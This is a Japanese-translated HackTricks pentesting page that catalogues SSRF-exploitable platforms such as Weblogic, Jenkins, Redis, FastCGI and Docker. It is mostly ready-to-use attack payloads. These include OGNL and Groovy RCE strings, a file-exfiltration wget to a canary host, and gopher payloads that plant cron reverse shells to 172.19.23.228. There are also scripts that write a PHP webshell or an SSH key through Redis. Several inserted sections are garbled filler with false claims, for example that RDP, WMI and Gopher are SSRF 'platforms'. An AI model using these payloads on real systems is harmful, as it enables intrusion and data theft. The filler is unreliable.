hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

36 KiB
Raw Blame History

SSRF 脆弱なプラットフォーム

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このセクションは https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ からコピーされました。

Elasticsearch

一般的にバインドされるポート: 9200

Elasticsearch が内部で展開されている場合、通常は認証が必要ありません。

部分的に盲目的な SSRF がある場合、ステータスコードを確認できる場合、次のエンドポイントが 200 を返すかどうかを確認してください:

/_cluster/health
/_cat/indices
/_cat/health

もし、POSTリクエストを送信できる盲目的なSSRFがある場合、次のパスにPOSTリクエストを送信することでElasticsearchインスタンスをシャットダウンすることができます。

注意Elasticsearchバージョン2.x以降では、_shutdown APIは削除されています。これはElasticsearch 1.6以前でのみ機能します。

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

一般的にバインドされるポート: 80、443 (SSL)、7001、8888

SSRF カナリア: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

これはGETでも機能します

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

このエンドポイントもCRLFインジェクションの脆弱性があります:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

次のリクエストが生成されます:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRFカナリアCVE-2020-14883

ここから引用。

Linux

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:

Windows is a widely used operating system developed by Microsoft. It is vulnerable to Server-Side Request Forgery (SSRF) attacks due to various reasons, including misconfigured security settings and outdated software versions.

Some common vulnerable platforms on Windows include:

  1. Internet Information Services (IIS): IIS is a web server software package developed by Microsoft. It is often used to host websites and web applications on Windows servers. Misconfigured IIS servers can be exploited to perform SSRF attacks.

  2. Microsoft SQL Server: SQL Server is a relational database management system developed by Microsoft. It is commonly used to store and manage data in Windows environments. SSRF vulnerabilities in SQL Server can allow an attacker to make unauthorized requests to internal resources.

  3. Remote Desktop Protocol (RDP): RDP is a proprietary protocol developed by Microsoft that allows users to connect to a remote computer over a network connection. Insecure RDP configurations can be abused to launch SSRF attacks against internal resources.

  4. Windows Management Instrumentation (WMI): WMI is a management technology developed by Microsoft that provides a standardized way for administrators to manage Windows systems. Misconfigured WMI settings can be exploited to perform SSRF attacks.

It is important for system administrators to regularly update and patch Windows systems to mitigate the risk of SSRF vulnerabilities. Additionally, implementing proper security configurations and access controls can help prevent unauthorized access to internal resources.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

一般的にバインドされるポート: 8500、8501 (SSL)

ここにライトアップが見つかります。

Shellshock

一般的にバインドされるポート: 80、443 (SSL)、8080

Shellshockを効果的にテストするためには、ペイロードを含むヘッダを追加する必要がある場合があります。以下のCGIパスは試す価値があります。

テストするためのCGIパスの短いリスト:

パスを含むGist

SSRFキャナリー: ユーザーエージェント経由のShellshock

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

一般的にバインドされるポート: 80、8080、8888、8082

Apache DruidのAPIリファレンスはこちらを参照してください。

ステータスコードを表示できる場合は、以下のパスが200のステータスコードを返すかどうかを確認してください:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

シャットダウンタスクは、タスクIDまたはデータソース名を推測する必要があります。

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Apache Druid Overlordsのスーパーバイザーをシャットダウンする方法:

Apache Druid Overlordsは、Apache Druidクラスターの管理と監視を担当するコンポーネントです。以下の手順に従って、Apache Druid Overlordsのスーパーバイザーをシャットダウンすることができます。

  1. Apache Druid Overlordsの管理コンソールにアクセスします。

  2. クラスターのノードリストを表示し、スーパーバイザーのノードを特定します。

  3. スーパーバイザーのードにSSH接続します。

  4. スーパーバイザープロセスを停止するために、以下のコマンドを実行します。

    sudo supervisorctl stop all
    

    このコマンドは、スーパーバイザーが管理しているすべてのプロセスを停止します。

  5. スーパーバイザーのードからSSH接続を切断します。

これで、Apache Druid Overlordsのスーパーバイザーが正常にシャットダウンされました。

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

一般的にバインドされるポート: 8983

SSRFカナリア: Shardsパラメータ

shubhamさんの言っていることに加えて、Solrのスキャンは比較的簡単です。shards=パラメータを使用して、Solrインスタンスに無差別にアクセスしていることを確認するために、SSRFをSSRFにバウンスさせることができます。

— Хавиж Нァッフィ 🥕 (@nnwakelam) 2021年1月13日

ここから引用しました。

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

dataImportHandlerを介したRCE

dataImportHandlerを介したRCEに関する研究

PeopleSoft

一般的にバインドされるポート: 80,443 (SSL)

この研究から引用 こちら

SSRFキャナリー: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

SSRF Canary: XXE #2

Vulnerable Platforms

The following platforms are known to be vulnerable to Server-Side Request Forgery (SSRF) attacks using XML External Entity (XXE) injection:

  1. Workspace: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. An attacker can craft a malicious XML file containing an external entity reference that triggers an SSRF attack.

  2. AWS EC2: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks through XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the EC2 instance.

  3. GCP Compute Engine: Google Cloud Platform (GCP) Compute Engine instances are also susceptible to SSRF attacks via XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the Compute Engine instance.

  4. Azure Virtual Machines: Microsoft Azure Virtual Machines can be vulnerable to SSRF attacks through XXE injection. By injecting a malicious XML file, an attacker can exploit the XXE vulnerability to perform SSRF attacks on the Virtual Machine.

Mitigation

To mitigate the risk of SSRF attacks via XXE injection, it is recommended to follow these best practices:

  1. Input Validation: Implement strict input validation to prevent the acceptance of malicious XML files or external entity references.

  2. XML Parsing Configuration: Configure XML parsers to disable external entity resolution or restrict access to external resources.

  3. Firewall Rules: Implement firewall rules to restrict outgoing network connections from the vulnerable platform, preventing SSRF attacks.

  4. Least Privilege: Ensure that the platform has the least privilege necessary to perform its intended functions, reducing the potential impact of SSRF attacks.

By implementing these mitigation measures, the risk of SSRF attacks via XXE injection can be significantly reduced.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)

ここから引用。

SSRF カナリア: Struts2-016:

既知のすべての内部エンドポイント/URLの末尾にこれを追加してください:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

一般的にバインドされるポート: 80, 443 (SSL), 8080, 8443 (SSL)

ここから取得しました。

SSRF カナリア: URL から WAR をデプロイする

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)

SSRF カナリア: Sharelinks (2016年11月以前にリリースされたConfluenceのバージョン)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)

SSRF カナリア: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

その他のAtlassian製品

一般的にバインドされるポート: 80、443 (SSL)、8080、8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

AtlassianセキュリティチケットOAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

一般的にバインドされるポート: 4242

OpenTSDBリモートコード実行

SSRFキャナリー: RCE経由のcurl

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 リモートコード実行

SSRF カナリア: RCE 経由の curl - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

一般的にバインドされるポート: 80,443 (SSL),8080,8888

こちらに素晴らしい解説があります。

SSRF カナリア: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

RCEリモートコード実行を達成するための手順は、Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!を参照してください。

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

Groovyを介したRCE

SSRFサーバーサイドリクエストフォージェリの脆弱なプラットフォームの一つに、Groovyを介したRCEリモートコード実行があります。この攻撃は、Groovyスクリプトを実行する機能がある場合に悪用されます。

攻撃者は、Groovyスクリプトを使用して、サーバー内のコードを実行することができます。これにより、攻撃者はサーバー上で任意のコマンドを実行し、システムに対する完全な制御を取得することができます。

この攻撃を防ぐためには、以下の対策を実施する必要があります。

  • 入力検証とフィルタリング: ユーザーからの入力を適切に検証し、信頼できないデータを拒否することが重要です。特に、外部リソースへのリクエストを受け付ける場合は、入力値を厳密に制限する必要があります。

  • ホワイトリストの使用: 許可されたホストやポートのホワイトリストを作成し、それ以外のリクエストをブロックすることで、攻撃のリスクを軽減することができます。

  • セキュリティアップデートの適用: 使用しているGroovyのバージョンに関連するセキュリティアップデートを定期的に適用することで、既知の脆弱性を修正することができます。

以上の対策を実施することで、Groovyを介したRCE攻撃からシステムを保護することができます。

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix ダッシュボード

一般的にバインドされるポート: 80,443 (SSL),8080

Spring Cloud Netflix、バージョン2.2.xの2.2.4より前、バージョン2.1.xの2.1.6より前。

SSRF カナリア: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

一般的にバインドされるポート: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF カナリア: CVE-2019-6715

これは PUT リクエストである必要があります:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF CanarySSRF カナリア)

この脆弱性のアドバイザリはこちらで公開されています:W3 Total Cache SSRF 脆弱性

この PHP コードは、SSRF カナリアホストのペイロードを生成します(url をカナリアホストに置き換えてください):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

一般的にバインドされるポート: 2375、2376 (SSL)

部分的に盲目的なSSRFを持っている場合、次のパスを使用してDockerのAPIの存在を確認できます:

/containers/json
/secrets
/services

任意のDockerイメージを実行することによるRCE

SSRFサーバーサイドリクエストフォージェリの脆弱性を利用して、任意のDockerイメージを実行することにより、リモートコード実行RCEを達成することができます。

攻撃者は、SSRF脆弱性を持つターゲットアプリケーションに対して特定のリクエストを送信します。このリクエストには、攻撃者が制御するDockerイメージのURLが含まれています。

ターゲットアプリケーションは、このURLを使用してDockerイメージをダウンロードし、実行します。攻撃者は、悪意のあるコードを含むDockerイメージを作成し、それを実行することで、ターゲットシステム上で任意のコードを実行することができます。

この攻撃は、ターゲットシステム内のリソースにアクセスするために内部ネットワークへのアクセス権を持つ場合に特に危険です。攻撃者は、内部ネットワーク上の他のシステムにアクセスし、機密情報を盗み出すなどの悪意のある活動を行うことができます。

この攻撃を防ぐためには、ターゲットアプリケーションでの入力検証とフィルタリングの実装が重要です。また、Dockerイメージの実行には信頼できるリソースのみを使用するようにする必要があります。

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

alpineを、Dockerコンテナで実行したい任意のイメージに置き換えてください。

Gitlab Prometheus Redis Exporter

一般的にバインドされるポート: 9121

この脆弱性は、Gitlabのバージョン13.1.1より前のインスタンスに影響を与えます。Gitlabのドキュメントによると、「Prometheusとそのエクスポーターは、GitLab 9.0以降、デフォルトで有効になっています。」

これらのエクスポーターは、攻撃者がCVE-2020-13379を使用して他のサービスに侵入し攻撃するための優れた手段を提供します。容易に悪用できるエクスポーターの1つはRedis Exporterです。

以下のエンドポイントは、targetパラメーターを介して提供されるRedisサーバーのすべてのキーをダンプすることを攻撃者に許可します

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Gopherを介して可能

Redis

一般的にバインドされるポート: 6379

おすすめの読み物:

Cronを介したRCE - Gopher攻撃の対象

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

Gopherは、SSRFサーバーサイドリクエストフォージェリの脆弱性を持つプラットフォームの一つです。SSRFは、攻撃者がアプリケーション内のサーバーにリクエストを送信することができる脆弱性です。Gopherは、URLスキームを使用してリクエストを送信するため、攻撃者は外部のリソースにアクセスすることができます。この脆弱性を悪用すると、攻撃者は内部ネットワークにアクセスしたり、機密情報を盗んだりすることができます。

Gopherの脆弱性を検出するためには、アプリケーション内のURLパラメータやリクエストヘッダーを注意深く調査する必要があります。攻撃者は、外部のリソースにアクセスするために、URLスキームを変更したり、特殊なIPアドレスやドメイン名を使用したりすることがあります。

Gopherの脆弱性を修正するためには、信頼できる入力検証とフィルタリングを実装する必要があります。また、アプリケーション内のサーバーへのリクエストを制限することも重要です。セキュリティ意識の高い開発者は、SSRFの脆弱性を理解し、適切な対策を講じることが重要です。

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCEを介したシェルのアップロードPHP - Redis Getshellの概要

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

authorized_keysを介したRCE - Redis Getshellの概要

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

Gitプロトコルを介したGitLab上のRCE

Liveoverflowの素晴らしい解説はこちらです。

これはGitLabへの認証済みアクセスが必要なため、ハッキング対象の環境でgitプロトコルが機能する可能性がある場合、ここにペイロードを含めています。このペイロードは参考用です。

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

一般的にバインドされるポート: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

一般にバインドされるポート: 80、443 (SSL)、8080、8443 (SSL)

Tomcat 6に対して有効:

gopher-tomcat-deployer

この技術を使用したCTFの解説:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

一般にバインドされるポート: 80、443 (SSL)

これはここから取得されました。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

一般的にバインドされるポート: 1090,1098,1099,1199,4443-4446,8999-9010,9999

任意のバイトgopherベースを許可する盲目のSSRF脆弱性は、Java RMIのデフォルトコンポーネントRMIレジストリ、分散ガベージコレクタ、アクティベーションシステムに対してシリアライゼーションまたはコードベース攻撃を実行するために使用できます。詳細な解説はこちらをご覧ください。以下のリストは、ペイロード生成の例を示しています:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥